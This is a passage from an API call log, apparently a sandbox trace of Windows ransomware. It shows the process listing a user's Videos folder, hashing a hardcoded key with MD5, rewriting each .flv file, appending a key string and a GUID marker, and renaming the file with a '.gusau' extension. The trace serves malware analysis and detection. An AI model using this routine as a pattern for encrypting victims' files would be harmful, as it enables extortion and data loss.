Flags=0x0, Size=0xb0) returned 0x3930700 [0119.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\") returned="4Ww3Dv\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\") returned="tKB6e7CXHXIzSLY\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.746] PathFindFileNameW (pszPath="") returned="" [0119.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e428 [0119.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a463140, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0xfcea56f0, ftLastAccessTime.dwHighDateTime=0x1d4cf26, ftLastWriteTime.dwLowDateTime=0xfcea56f0, ftLastWriteTime.dwHighDateTime=0x1d4cf26, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e428 | out: hHeap=0xd10000) returned 1 [0119.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a463140, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0xfcea56f0, ftLastAccessTime.dwHighDateTime=0x1d4cf26, ftLastWriteTime.dwLowDateTime=0xfcea56f0, ftLastWriteTime.dwHighDateTime=0x1d4cf26, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x727e4400, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0xf1552c00, ftLastAccessTime.dwHighDateTime=0x1d4d07c, ftLastWriteTime.dwLowDateTime=0xf1552c00, ftLastWriteTime.dwHighDateTime=0x1d4d07c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6xgwVggB1", cAlternateFileName="6XGWVG~1")) returned 1 [0119.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a5e8 [0119.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.747] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa66dfc0, ftCreationTime.dwHighDateTime=0x1d4d129, ftLastAccessTime.dwLowDateTime=0xa384e9c0, ftLastAccessTime.dwHighDateTime=0x1d4c6a4, ftLastWriteTime.dwLowDateTime=0xa384e9c0, ftLastWriteTime.dwHighDateTime=0x1d4c6a4, nFileSizeHigh=0x0, nFileSizeLow=0xdc05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bjmnfbrNfGEXCMraZ.flv", cAlternateFileName="BJMNFB~1.FLV")) returned 1 [0119.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.747] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\bjmnfbrNfGEXCMraZ.flv") returned=".flv" [0119.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\bjmnfbrNfGEXCMraZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\bjmnfbrnfgexcmraz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.748] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=56325) returned 1 [0119.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.750] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdbdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.750] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.754] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.754] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.754] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.754] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xdc05, lpOverlapped=0x0) returned 1 [0119.755] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.755] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.755] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.755] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.755] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.756] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.756] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.756] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.756] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.756] GetLastError () returned 0x0 [0119.756] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.756] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.756] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.756] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xdc10) returned 0x39f9f20 [0119.756] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.757] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xdc00, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xdc00, lpOverlapped=0x0) returned 1 [0119.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.757] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xdc05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.757] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.757] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.757] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.757] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.757] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.757] CloseHandle (hObject=0x610) returned 1 [0119.758] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe0) returned 0x39f5f38 [0119.758] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8f0) returned 0x39f4ef8 [0119.758] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0119.758] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\bjmnfbrNfGEXCMraZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\bjmnfbrnfgexcmraz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\bjmnfbrNfGEXCMraZ.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\bjmnfbrnfgexcmraz.flv.gusau")) returned 1 [0119.759] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.759] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.760] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.760] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58837db0, ftCreationTime.dwHighDateTime=0x1d4d0fe, ftLastAccessTime.dwLowDateTime=0x6b693040, ftLastAccessTime.dwHighDateTime=0x1d4d48d, ftLastWriteTime.dwLowDateTime=0x6b693040, ftLastWriteTime.dwHighDateTime=0x1d4d48d, nFileSizeHigh=0x0, nFileSizeLow=0x37ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Djmg5Xg.flv", cAlternateFileName="")) returned 1 [0119.760] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.760] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.760] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.760] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\Djmg5Xg.flv") returned=".flv" [0119.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\Djmg5Xg.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\djmg5xg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.761] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=14314) returned 1 [0119.761] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.763] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x37c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.763] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.764] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.764] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.765] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.765] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x37ea, lpOverlapped=0x0) returned 1 [0119.765] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.765] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.765] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.765] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.765] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0119.766] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.766] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.766] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.766] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.766] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.766] GetLastError () returned 0x0 [0119.766] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.766] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0119.766] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.766] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x37f0) returned 0x39f9f20 [0119.767] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.767] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.767] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x37e5, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x37e5, lpOverlapped=0x0) returned 1 [0119.767] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.767] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x37ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.767] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.767] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.767] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.767] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.767] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.767] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.767] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.767] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.767] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.767] CloseHandle (hObject=0x610) returned 1 [0119.768] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.768] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.768] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.768] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\Djmg5Xg.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\djmg5xg.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\Djmg5Xg.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\djmg5xg.flv.gusau")) returned 1 [0119.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.769] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.770] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe08a5ec0, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x26b266e0, ftLastAccessTime.dwHighDateTime=0x1d4d45d, ftLastWriteTime.dwLowDateTime=0x26b266e0, ftLastWriteTime.dwHighDateTime=0x1d4d45d, nFileSizeHigh=0x0, nFileSizeLow=0x6a5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pW-HWPux0H.flv", cAlternateFileName="PW-HWP~1.FLV")) returned 1 [0119.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\pW-HWPux0H.flv") returned=".flv" [0119.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\pW-HWPux0H.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\pw-hwpux0h.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.770] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=27229) returned 1 [0119.770] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.772] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6a37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.772] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.774] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.774] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, 